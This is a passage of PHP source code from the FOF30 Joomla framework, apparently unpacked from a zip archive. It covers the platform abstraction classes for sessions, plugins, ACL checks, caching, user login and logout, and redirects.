enqueue * @param string $type (optional) The message type, e.g. 'message' (default), 'warning' or 'error'. * * @return void * * @throws Exception */ public function redirect($url, $status = 301, $msg = null, $type = 'message'); /** * Handle an exception in a way that results to an error page. * * @param Exception $exception The exception to handle * * @throws Exception Possibly rethrown exception */ public function showErrorPage(Exception $exception); /** * Set a variable in the user session * * @param string $name The name of the variable to set * @param string $value (optional) The value to set it to, default is null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function setSessionVar($name, $value = null, $namespace = 'default'); /** * Get a variable from the user session * * @param string $name The name of the variable to set * @param string $default (optional) The default value to return if the variable does not exit, default: null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return mixed */ public function getSessionVar($name, $default = null, $namespace = 'default'); /** * Unset a variable from the user session * * @param string $name The name of the variable to unset * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function unsetSessionVar($name, $namespace = 'default'); /** * Return the session token. Two types of tokens can be returned: * * Session token ($formToken == false): Used for anti-spam protection of forms. This is specific to a session * object. * * Form token ($formToken == true): A secure hash of the user ID with the session token. Both the session and the * user are fetched from the application container. * * @param bool $formToken Should I return a form token? * @param bool $forceNew Should I force the creation of a new token? * * @return mixed */ public function getToken($formToken = false, $forceNew = false); /** * Are plugins allowed to run in CLI mode? * * @return bool */ public function isAllowPluginsInCli(); /** * Set whether plugins are allowed to run in CLI mode * * @param bool $allowPluginsInCli */ public function setAllowPluginsInCli($allowPluginsInCli); /** * Set a script option. * * This allows the backend code to set up configuration options for frontend (JavaScript) code in a way that's safe * for async / deferred scripts. The options are stored in the document's head as an inline JSON document. This * JSON document is then parsed by a JavaScript helper function which makes the options available to the scripts * that consume them. * * @param string $key The option key * @param mixed|JsonSerializable $value The option value. Must be a scalar or a JSON serializable object * @param bool $merge Should I merge an array value with existing stored values? Default: * true * * @return void */ public function addScriptOptions($key, $value, $merge = true); /** * Get a script option, or all of the script options * * @param string|null $key The script option to retrieve. Null for all options. * * @return array|mixed Options for given $key, or all script options */ public function getScriptOptions($key = null); } PK���\v)�00"fof30/Platform/Base/Filesystem.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform\Base; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Platform\FilesystemInterface; abstract class Filesystem implements FilesystemInterface { /** * The list of paths where platform class files will be looked for * * @var array */ protected static $paths = []; /** @var Container The component container */ protected $container = null; /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c) { $this->container = $c; } /** * This method will crawl a starting directory and get all the valid files that will be analyzed by getInstance. * Then it organizes them into an associative array. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array Associative array, where the `fullpath` key contains the path to the file, * and the `classname` key contains the name of the class */ protected static function getFiles($path, array $ignoreFolders = [], array $ignoreFiles = []) { $return = []; $files = self::scanDirectory($path, $ignoreFolders, $ignoreFiles); // Ok, I got the files, now I have to organize them foreach ($files as $file) { $clean = str_replace($path, '', $file); $clean = trim(str_replace('\\', '/', $clean), '/'); $parts = explode('/', $clean); // If I have less than 3 fragments, it means that the file was inside the generic folder // (interface + abstract) so I have to skip it if (count($parts) < 3) { continue; } $return[] = [ 'fullpath' => $file, 'classname' => 'F0FPlatform' . ucfirst($parts[0]) . ucfirst(basename($parts[1], '.php')), ]; } return $return; } /** * Recursive function that will scan every directory unless it's in the ignore list. Files that aren't in the * ignore list are returned. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array List of all the files */ protected static function scanDirectory($path, array $ignoreFolders = [], array $ignoreFiles = []) { $return = []; $handle = @opendir($path); if (!$handle) { return $return; } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $fullpath = $path . '/' . $file; if ((is_dir($fullpath) && in_array($file, $ignoreFolders)) || (is_file($fullpath) && in_array($file, $ignoreFiles))) { continue; } if (is_dir($fullpath)) { $return = array_merge(self::scanDirectory($fullpath, $ignoreFolders, $ignoreFiles), $return); } else { $return[] = $path . '/' . $file; } } return $return; } /** * Gets the extension of a file name * * @param string $file The file name * * @return string The file extension */ public function getExt($file) { $dot = strrpos($file, '.') + 1; return substr($file, $dot); } /** * Strips the last extension off of a file name * * @param string $file The file name * * @return string The file name without the extension */ public function stripExt($file) { return preg_replace('#\.[^.]*$#', '', $file); } } PK���\�xN9(9( fof30/Platform/Base/Platform.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform\Base; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Input\Input; use FOF30\Platform\PlatformInterface; use Joomla\CMS\Document\Document; use Joomla\CMS\User\User; /** * Abstract implementation of the Platform integration * * @package FOF30\Platform\Base */ abstract class Platform implements PlatformInterface { /** @var Container The component container */ protected $container = null; /** @var bool Are plugins allowed to run in CLI mode? */ protected $allowPluginsInCli = false; /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c) { $this->container = $c; } /** * Returns the base (root) directories for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. * @see F0FPlatformInterface::getComponentBaseDirs() * */ public function getComponentBaseDirs($component) { return [ 'main' => '', 'alt' => '', 'site' => '', 'admin' => '', ]; } /** * Returns the application's template name * * @param boolean|array $params An optional associative array of configuration settings * * @return string The template name. System is the fallback. */ public function getTemplate($params = false) { return 'system'; } /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes() { return []; } /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param boolean $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath($component, $absolute = true) { return ''; } /** * Load the translation files for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return void * @see F0FPlatformInterface::loadTranslations() * */ public function loadTranslations($component) { return null; } /** * Authorise access to the component in the back-end. * * @param string $component The name of the component. * * @return boolean True to allow loading the component, false to halt loading * @see F0FPlatformInterface::authorizeAdmin() * */ public function authorizeAdmin($component) { return true; } /** * Returns the JUser object for the current user * * @param integer $id The ID of the user to fetch * * @return Document * @see F0FPlatformInterface::getUser() * */ public function getUser($id = null) { return null; } /** * Returns the JDocument object which handles this component's response. * * @return Document * @see F0FPlatformInterface::getDocument() * */ public function getDocument() { return null; } /** * This method will try retrieving a variable from the request (input) data. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param boolean $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable * @see F0FPlatformInterface::getUserStateFromRequest() * */ public function getUserStateFromRequest($key, $request, $input, $default = null, $type = 'none', $setUserState = true) { return $input->get($request, $default, $type); } /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS. * * @param string $type The type of the plugins to be loaded * * @return void * @see F0FPlatformInterface::importPlugin() * */ public function importPlugin($type) { } /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered * @see F0FPlatformInterface::runPlugins() * */ public function runPlugins($event, $data) { return []; } /** * Perform an ACL check. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string $assetname The asset name to check, typically the component's name * * @return boolean True if the user is allowed this action * @see F0FPlatformInterface::authorise() * */ public function authorise($action, $assetname) { return true; } /** * Is this the administrative section of the component? * * @return boolean * @see F0FPlatformInterface::isBackend() * */ public function isBackend() { return true; } /** * Is this the public section of the component? * * @return boolean * @see F0FPlatformInterface::isFrontend() * */ public function isFrontend() { return true; } /** * Is this a component running in a CLI application? * * @return boolean * @see F0FPlatformInterface::isCli() * */ public function isCli() { return true; } /** * Is AJAX re-ordering supported? This is 100% Joomla!-CMS specific. All * other platforms should return false and never ask why. * * @return boolean * @see F0FPlatformInterface::supportsAjaxOrdering() * */ public function supportsAjaxOrdering() { return true; } /** * Saves something to the cache. This is supposed to be used for system-wide * F0F data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return boolean True on success */ public function setCache($key, $content) { return false; } /** * Retrieves data from the cache. This is supposed to be used for system-side * F0F data, not application data. * * @param string $key The key of the data to retrieve * @param string $default The default value to return if the key is not found or the cache is not populated * * @return string The cached value */ public function getCache($key, $default = null) { return false; } /** * Is the global F0F cache enabled? * * @return boolean */ public function isGlobalFOFCacheEnabled() { return true; } /** * Clears the cache of system-wide F0F data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by F0F. Please note that F0F's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return boolean True on success */ public function clearCache() { return false; } /** * logs in a user * * @param array $authInfo Authentication information * * @return boolean True on success */ public function loginUser($authInfo) { return true; } /** * logs out a user * * @return boolean True on success */ public function logoutUser() { return true; } /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void */ public function logDeprecated($message) { // The default implementation does nothing. Override this in your platform classes. } /** * Adds a message * * @param string|array $title A title, or an array of additional fields to add to the log entry * @param string $logText The translation key to the log text * @param string $extension The name of the extension logging this entry * @param User|null $user The user the action is being logged for * * @return void */ public function logUserAction($title, $logText, $extension, $user = null) { // The default implementation does nothing. Override this in your platform classes. } /** * Returns the version number string of the platform, e.g. "4.5.6". If * implementation integrates with a CMS or a versioned foundation (e.g. * a framework) it is advisable to return that version. * * @return string * * @since 2.1.2 */ public function getPlatformVersion() { return ''; } /** * Handle an exception in a way that results to an error page. * * @param Exception $exception The exception to handle * * @throws Exception Possibly rethrown exception */ public function showErrorPage(Exception $exception) { throw $exception; } /** * Are plugins allowed to run in CLI mode? * * @return bool */ public function isAllowPluginsInCli() { return $this->allowPluginsInCli; } /** * Set whether plugins are allowed to run in CLI mode * * @param bool $allowPluginsInCli */ public function setAllowPluginsInCli($allowPluginsInCli) { $this->allowPluginsInCli = $allowPluginsInCli; } } PK���\e��p}�}�"fof30/Platform/Joomla/Platform.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform\Joomla; defined('_JEXEC') || die; use ActionlogsModelActionlog; use Exception; use FOF30\Container\Container; use FOF30\Date\Date; use FOF30\Date\DateDecorator; use FOF30\Input\Input; use FOF30\Platform\Base\Platform as BasePlatform; use JDatabaseDriver; use JEventDispatcher; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Application\CliApplication as JApplicationCli; use Joomla\CMS\Application\CMSApplication as JApplicationCms; use Joomla\CMS\Application\ConsoleApplication; use Joomla\CMS\Application\WebApplication as JApplicationWeb; use Joomla\CMS\Authentication\Authentication as JAuthentication; use Joomla\CMS\Authentication\AuthenticationResponse as JAuthenticationResponse; use Joomla\CMS\Cache\Cache as JCache; use Joomla\CMS\Document\Document; use Joomla\CMS\Document\HtmlDocument; use Joomla\CMS\Factory; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Language; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Session\Session as JSession; use Joomla\CMS\Uri\Uri as JUri; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\CMS\Version; use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel; use Joomla\Event\Event; use Joomla\Registry\Registry; /** * Part of the FOF Platform Abstraction Layer. * * This implements the platform class for Joomla! 3 * * @since 2.1 */ class Platform extends BasePlatform { /** * Is this a CLI application? * * @var bool */ protected static $isCLI = null; /** * Is this an administrator application? * * @var bool */ protected static $isAdmin = null; /** * Is this an API application? * * @var bool */ protected static $isApi = null; /** * A fake session storage for CLI apps. This is only used for legacy CLI applications which are not using the FOF * Base CLI script. * * @var Registry */ protected static $fakeSession = null; /** * The table and table field cache object, used to speed up database access * * @var Registry|null */ private $_cache = null; /** * Public constructor. * * Overridden to cater for CLI applications not having access to a session object. * * @param Container $c The component container */ public function __construct(Container $c) { parent::__construct($c); if ($this->isCli()) { static::$fakeSession = new Registry(); } } /** * Checks if the current script is run inside a valid CMS execution * * @return bool * @see PlatformInterface::checkExecution() * */ public function checkExecution() { return defined('_JEXEC'); } /** * Raises an error, using the logic requested by the CMS (PHP Exception or dedicated class) * * @param integer $code * @param string $message * * @return void * * @throws Exception */ public function raiseError($code, $message) { $this->showErrorPage(new Exception($message, $code)); } /** * Returns absolute path to directories used by the CMS. * * @return array A hash array with keys root, public, admin, tmp and log. * @see PlatformInterface::getPlatformBaseDirs() * */ public function getPlatformBaseDirs() { return [ 'root' => JPATH_ROOT, 'public' => JPATH_SITE, 'media' => JPATH_SITE . '/media', 'admin' => JPATH_ADMINISTRATOR, 'tmp' => JFactory::getConfig()->get('tmp_path'), 'log' => JFactory::getConfig()->get('log_path'), ]; } /** * Returns the base (root) directories for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. * @see PlatformInterface::getComponentBaseDirs() * */ public function getComponentBaseDirs($component) { if (!$this->isBackend()) { $mainPath = JPATH_SITE . '/components/' . $component; $altPath = JPATH_ADMINISTRATOR . '/components/' . $component; } else { $mainPath = JPATH_ADMINISTRATOR . '/components/' . $component; $altPath = JPATH_SITE . '/components/' . $component; } return [ 'main' => $mainPath, 'alt' => $altPath, 'site' => JPATH_SITE . '/components/' . $component, 'admin' => JPATH_ADMINISTRATOR . '/components/' . $component, ]; } /** * Returns the application's template name * * @param boolean|array $params An optional associative array of configuration settings * * @return string The template name. System is the fallback. */ public function getTemplate($params = false) { return JFactory::getApplication()->getTemplate($params); } /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes() { $jversion = new Version; $versionParts = explode('.', $jversion->getShortVersion()); $majorVersion = array_shift($versionParts); $suffixes = [ '.j' . str_replace('.', '', $jversion->getHelpVersion()), '.j' . $majorVersion, ]; return $suffixes; } /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param boolean $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath($component, $absolute = true) { [$isCli, $isAdmin] = $this->isCliAdmin(); if (!$isCli) { if ($absolute) { $path = JPATH_THEMES . '/'; } else { $path = $isAdmin ? 'administrator/templates/' : 'templates/'; } if (substr($component, 0, 7) == 'media:/') { $directory = 'media/' . substr($component, 7); } else { $directory = 'html/' . $component; } $path .= $this->getTemplate() . '/' . $directory; } else { $path = ''; } return $path; } /** * Load the translation files for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return void * @see PlatformInterface::loadTranslations() * */ public function loadTranslations($component) { if ($this->isBackend()) { $paths = [JPATH_ROOT, JPATH_ADMINISTRATOR]; } else { $paths = [JPATH_ADMINISTRATOR, JPATH_ROOT]; } $jlang = $this->getLanguage(); $jlang->load($component, $paths[0], 'en-GB', true); $jlang->load($component, $paths[0], null, true); $jlang->load($component, $paths[1], 'en-GB', true); $jlang->load($component, $paths[1], null, true); } /** * Authorise access to the component in the back-end. * * @param string $component The name of the component. * * @return boolean True to allow loading the component, false to halt loading * @see PlatformInterface::authorizeAdmin() * */ public function authorizeAdmin($component) { if ($this->isBackend()) { // Master access check for the back-end, Joomla! 1.6 style. $user = $this->getUser(); if (!$user->authorise('core.manage', $component) && !$user->authorise('core.admin', $component) ) { return false; } } return true; } /** * Return a user object. * * @param integer $id The user ID to load. Skip or use null to retrieve * the object for the currently logged in user. * * @return User The JUser object for the specified user * @see PlatformInterface::getUser() */ public function getUser($id = null) { /** * If I'm in CLI I need load the User directly, otherwise JFactory will check the session (which doesn't exist * in CLI) */ if ($this->isCli()) { if ($id) { return User::getInstance($id); } return new User(); } return JFactory::getUser($id); } /** * Returns the JDocument object which handles this component's response. * * @return Document * @see PlatformInterface::getDocument() */ public function getDocument() { $document = null; if (!$this->isCli()) { try { $document = JFactory::getDocument(); } catch (Exception $exc) { $document = null; } } return $document; } /** * Returns an object to handle dates * * @param mixed $time The initial time * @param null $tzOffest The timezone offset * @param bool $locale Should I try to load a specific class for current language? * * @return Date object */ public function getDate($time = 'now', $tzOffest = null, $locale = true) { if ($locale) { // Work around a bug in Joomla! 3.7.0. if ($time == 'now') { $time = time(); } $coreObject = JFactory::getDate($time, $tzOffest); return new DateDecorator($coreObject); } else { return new Date($time, $tzOffest); } } /** * Return the \JLanguage instance of the CMS/application * * @return Language */ public function getLanguage() { return JFactory::getLanguage(); } /** * Returns the database driver object of the CMS/application * * @return JDatabaseDriver */ public function getDbo() { return JFactory::getDbo(); } /** * This method will try retrieving a variable from the request (input) data. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param boolean $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable * @see PlatformInterface::getUserStateFromRequest() * */ public function getUserStateFromRequest($key, $request, $input, $default = null, $type = 'none', $setUserState = true) { [$isCLI, $isAdmin] = $this->isCliAdmin(); unset($isAdmin); // Just to make phpStorm happy if ($isCLI) { $ret = $input->get($request, $default, $type); if ($ret === $default) { $input->set($request, $ret); } return $ret; } $app = JFactory::getApplication(); if (method_exists($app, 'getUserState')) { $old_state = $app->getUserState($key, $default); } else { $old_state = null; } $cur_state = (!is_null($old_state)) ? $old_state : $default; $new_state = $input->get($request, null, $type); // Save the new value only if it was set in this request if ($setUserState) { if ($new_state !== null) { $app->setUserState($key, $new_state); } else { $new_state = $cur_state; } } elseif (is_null($new_state)) { $new_state = $cur_state; } return $new_state; } /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS. * * @param string $type The type of the plugins to be loaded * * @return void * * @codeCoverageIgnore * @see PlatformInterface::importPlugin() * */ public function importPlugin($type) { // Should I actually run the plugins? $runPlugins = $this->isAllowPluginsInCli() || !$this->isCli(); if ($runPlugins) { PluginHelper::importPlugin($type); } } /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered * * @codeCoverageIgnore * @see PlatformInterface::runPlugins() * */ public function runPlugins($event, $data) { // Should I actually run the plugins? $runPlugins = $this->isAllowPluginsInCli() || !$this->isCli(); if ($runPlugins) { // First, try with JEventDispatcher (Joomla 3.x) if (class_exists('JEventDispatcher')) { return JEventDispatcher::getInstance()->trigger($event, $data); } // If there's no JEventDispatcher try getting JApplication try { $app = JFactory::getApplication(); } catch (Exception $e) { // If I can't get JApplication I cannot run the plugins. return []; } // Joomla 3 and 4 have triggerEvent if (method_exists($app, 'triggerEvent')) { return $app->triggerEvent($event, $data); } // Joomla 5 (and possibly some 4.x versions) don't have triggerEvent. Go through the Events dispatcher. if (method_exists($app, 'getDispatcher') && class_exists('Joomla\Event\Event')) { try { $dispatcher = $app->getDispatcher(); } catch (\UnexpectedValueException $exception) { return []; } if ($data instanceof Event) { $eventObject = $data; } elseif (\is_array($data)) { $eventObject = new Event($event, $data); } else { throw new \InvalidArgumentException('The plugin data must either be an event or an array'); } $result = $dispatcher->dispatch($event, $eventObject); return !isset($result['result']) || \is_null($result['result']) ? [] : $result['result']; } // No viable way to run the plugins :( return []; } else { // I am not allowed to run plugins return []; } } /** * Perform an ACL check. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string $assetname The asset name to check, typically the component's name * * @return boolean True if the user is allowed this action * @see PlatformInterface::authorise() * */ public function authorise($action, $assetname) { if ($this->isCli()) { return true; } $ret = JFactory::getUser()->authorise($action, $assetname); // Work around Joomla returning null instead of false in some cases. return $ret ? true : false; } /** * Is this the administrative section of the component? * * @return boolean * @see PlatformInterface::isBackend() * */ public function isBackend() { [$isCli, $isAdmin] = $this->isCliAdmin(); return $isAdmin && !$isCli; } /** * Is this the public section of the component? * * @return boolean * @see PlatformInterface::isFrontend() * */ public function isFrontend() { [$isCli, $isAdmin] = $this->isCliAdmin(); return !$isAdmin && !$isCli && !$this->isApi(); } /** * Is this a component running in a CLI application? * * @return boolean * @see PlatformInterface::isCli() * */ public function isCli() { [$isCli, $isAdmin] = $this->isCliAdmin(); return !$isAdmin && $isCli; } public function isApi() { if (!is_null(static::$isApi)) { return static::$isApi; } [$isCli, $isAdmin] = $this->isCliAdmin(); if (version_compare(JVERSION, '3.999.999', 'le') || $isCli || $isAdmin) { static::$isApi = false; return static::$isApi; } try { $app = JFactory::getApplication(); static::$isApi = $app->isClient('api'); } catch (Exception $e) { static::$isApi = false; } if (static::$isApi) { static::$isCLI = false; static::$isAdmin = false; } return static::$isApi; } /** * Is AJAX re-ordering supported? This is 100% Joomla!-CMS specific. All * other platforms should return false and never ask why. * * @return boolean * * @codeCoverageIgnore * @see PlatformInterface::supportsAjaxOrdering() * */ public function supportsAjaxOrdering() { return true; } /** * Is the global F0F cache enabled? * * @return boolean * * @codeCoverageIgnore */ public function isGlobalF0FCacheEnabled() { return !(defined('JDEBUG') && JDEBUG); } /** * Retrieves data from the cache. This is supposed to be used for system-side * F0F data, not application data. * * @param string $key The key of the data to retrieve * @param string $default The default value to return if the key is not found or the cache is not populated * * @return string The cached value */ public function getCache($key, $default = null) { $registry = $this->getCacheObject(); return $registry->get($key, $default); } /** * Saves something to the cache. This is supposed to be used for system-wide * F0F data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return boolean True on success */ public function setCache($key, $content) { $registry = $this->getCacheObject(); $registry->set($key, $content); return $this->saveCache(); } /** * Clears the cache of system-wide F0F data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by F0F. Please note that F0F's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return boolean True on success */ public function clearCache() { $false = false; $cache = JFactory::getCache('fof', ''); $cache->store($false, 'cache', 'fof'); } /** * Returns an object that holds the configuration of the current site. * * @return Registry * * @codeCoverageIgnore */ public function getConfig() { return JFactory::getConfig(); } /** * logs in a user * * @param array $authInfo Authentication information * * @return boolean True on success */ public function loginUser($authInfo) { $options = ['remember' => false]; $response = new JAuthenticationResponse(); $response->type = 'fof'; $response->status = JAuthentication::STATUS_FAILURE; if (isset($authInfo['username'])) { $authenticate = JAuthentication::getInstance(); $response = $authenticate->authenticate($authInfo, $options); } // Use our own authentication handler, onFOFUserAuthenticate, as a fallback if ($response->status != JAuthentication::STATUS_SUCCESS) { $this->container->platform->importPlugin('user'); $this->container->platform->importPlugin('fof'); $pluginResults = $this->container->platform->runPlugins('onFOFUserAuthenticate', [$authInfo, $options]); /** * Loop through all plugin results until we find a successful login. On failure we fall back to Joomla's * previous authentication response. */ foreach ($pluginResults as $result) { if (empty($result)) { continue; } if (!is_object($result) || !($result instanceof JAuthenticationResponse)) { continue; } if ($result->status != JAuthentication::STATUS_SUCCESS) { continue; } $response = $result; break; } } // User failed to authenticate: maybe he enabled two factor authentication? // Let's try again "manually", skipping the check vs two factor auth // Due the big mess with encryption algorithms and libraries, we are doing this extra check only // if we're in Joomla 2.5.18+ or 3.2.1+ if ($response->status != JAuthentication::STATUS_SUCCESS && method_exists('JUserHelper', 'verifyPassword') && isset($authInfo['username'])) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn(['id', 'password'])) ->from('#__users') ->where('username=' . $db->quote($authInfo['username'])); $result = $db->setQuery($query)->loadObject(); if ($result) { $match = UserHelper::verifyPassword($authInfo['password'], $result->password, $result->id); if ($match === true) { // Bring this in line with the rest of the system $user = User::getInstance($result->id); $response->email = $user->email; $response->fullname = $user->name; [$isCli, $isAdmin] = $this->isCliAdmin(); if ($isAdmin) { $response->language = $user->getParam('admin_language'); } else { $response->language = $user->getParam('language'); } $response->status = JAuthentication::STATUS_SUCCESS; $response->error_message = ''; } } } if ($response->status == JAuthentication::STATUS_SUCCESS) { $this->importPlugin('user'); $results = $this->runPlugins('onLoginUser', [(array) $response, $options]); unset($results); // Just to make phpStorm happy $userid = UserHelper::getUserId($response->username); $user = $this->getUser($userid); $session = $this->container->session; $session->set('user', $user); return true; } return false; } /** * logs out a user * * @return boolean True on success */ public function logoutUser() { $app = JFactory::getApplication(); $user = $this->getUser(); $options = ['remember' => false]; $parameters = [ 'username' => $user->username, 'id' => $user->id, ]; // Set clientid in the options array if it hasn't been set already and shared sessions are not enabled. if (!$app->get('shared_session', '0')) { $options['clientid'] = $app->getClientId(); } $ret = $app->triggerEvent('onUserLogout', [$parameters, $options]); return !in_array(false, $ret, true); } /** * Add a log file for FOF * * @param string $file * * @return void * * @codeCoverageIgnore */ public function logAddLogger($file) { Log::addLogger(['text_file' => $file], Log::ALL, ['fof']); } /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void * * @codeCoverageIgnore */ public function logDeprecated($message) { Log::add($message, Log::WARNING, 'deprecated'); } /** * Adds a message to the application's debug log * * @param string $message * * @return void * * @codeCoverageIgnore */ public function logDebug($message) { Log::add($message, Log::DEBUG, 'fof'); } /** * Adds a message * * @param string|array $title A title, or an array of additional fields to add to the log entry * @param string $logText The translation key to the log text * @param string $extension The name of the extension logging this entry * @param User|null $user The user the action is being logged for * * @return void */ public function logUserAction($title, $logText, $extension, $user = null) { static $joomlaModelAdded = false; // Find out which Joomla version I am running under $isJoomla4 = version_compare(JVERSION, '3.999.999', 'gt'); $isJoomla3 = !$isJoomla4 && version_compare(JVERSION, '3.9.0', 'ge'); // I need Joomla! 3.9 or later if (!$isJoomla4 && !$isJoomla3) { return; } /** * Do not perform user actions logging under CLI and Joomla 3. * * In Joomla 3 the ActionlogsModelActionlog always goes through JFactory to get the current user. However, this * goes through the session which is normally not initialized under CLI – that's why we needed to come up with * our own CLI implementation to begin with. * * Joomla 4 doesn't have that problem. J4 CLI scripts use a CLI-aware session service provider. */ if ($isJoomla3 && $this->isCli()) { return; } // Include required Joomla Model. Only applicable on Joomla 3. if ($isJoomla3 && !$joomlaModelAdded) { BaseDatabaseModel::addIncludePath(JPATH_ROOT . '/administrator/components/com_actionlogs/models', 'ActionlogsModel'); $joomlaModelAdded = true; } if (is_null($user)) { $user = $this->getUser(); } // No log for guest users if ($user->guest) { return; } $message = [ 'title' => $title, 'username' => $user->username, 'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id, ]; if (is_array($title)) { unset ($message['title']); $message = array_merge($message, $title); } if (version_compare(JVERSION, '3.999.999', 'le')) { /** @var ActionlogsModelActionlog $model * */ try { $model = BaseDatabaseModel::getInstance('Actionlog', 'ActionlogsModel'); } catch (Exception $e) { return; } } else { try { /** @var MVCFactoryInterface $factory */ $factory = JFactory::getApplication()->bootComponent('com_actionlogs')->getMVCFactory(); /** @var ActionlogModel $model */ $model = $factory->createModel('Actionlog', 'Administrator'); } catch (Exception $e) { return; } } try { $model->addLog([$message], $logText, $extension, $user->id); } catch (Exception $e) { return; } } /** * Returns the root URI for the request. * * @param boolean $pathonly If false, prepend the scheme, host and port information. Default is false. * @param string $path The path * * @return string The root URI string. * * @codeCoverageIgnore */ public function URIroot($pathonly = false, $path = null) { return JUri::root($pathonly, $path); } /** * Returns the base URI for the request. * * @param boolean $pathonly If false, prepend the scheme, host and port information. Default is false. * * @return string The base URI string * * @codeCoverageIgnore */ public function URIbase($pathonly = false) { return JUri::base($pathonly); } /** * Method to set a response header. If the replace flag is set then all headers * with the given name will be replaced by the new one (only if the current platform supports header caching) * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param boolean $replace True to replace any headers with the same name. * * @return void * * @codeCoverageIgnore */ public function setHeader($name, $value, $replace = false) { JFactory::getApplication()->setHeader($name, $value, $replace); } /** * In platforms that perform header caching, send all headers. * * @return void * * @codeCoverageIgnore */ public function sendHeaders() { JFactory::getApplication()->sendHeaders(); } /** * Immediately terminate the containing application's execution * * @param int $code The result code which should be returned by the application * * @return void */ public function closeApplication($code = 0) { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); JFactory::getApplication()->close($code); } /** * Perform a redirection to a different page, optionally enqueuing a message for the user. * * @param string $url The URL to redirect to * @param int $status (optional) The HTTP redirection status code, default 303 (See Other) * @param string $msg (optional) A message to enqueue * @param string $type (optional) The message type, e.g. 'message' (default), 'warning' or 'error'. * * @return void * * @throws Exception */ public function redirect($url, $status = 303, $msg = '', $type = 'message') { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); $app = JFactory::getApplication(); if (class_exists('JApplicationCms') && class_exists('JApplicationWeb') && ($app instanceof JApplicationCms) && ($app instanceof JApplicationWeb)) { // In modern Joomla! versions we have versatility on setting the message and the redirection HTTP code if 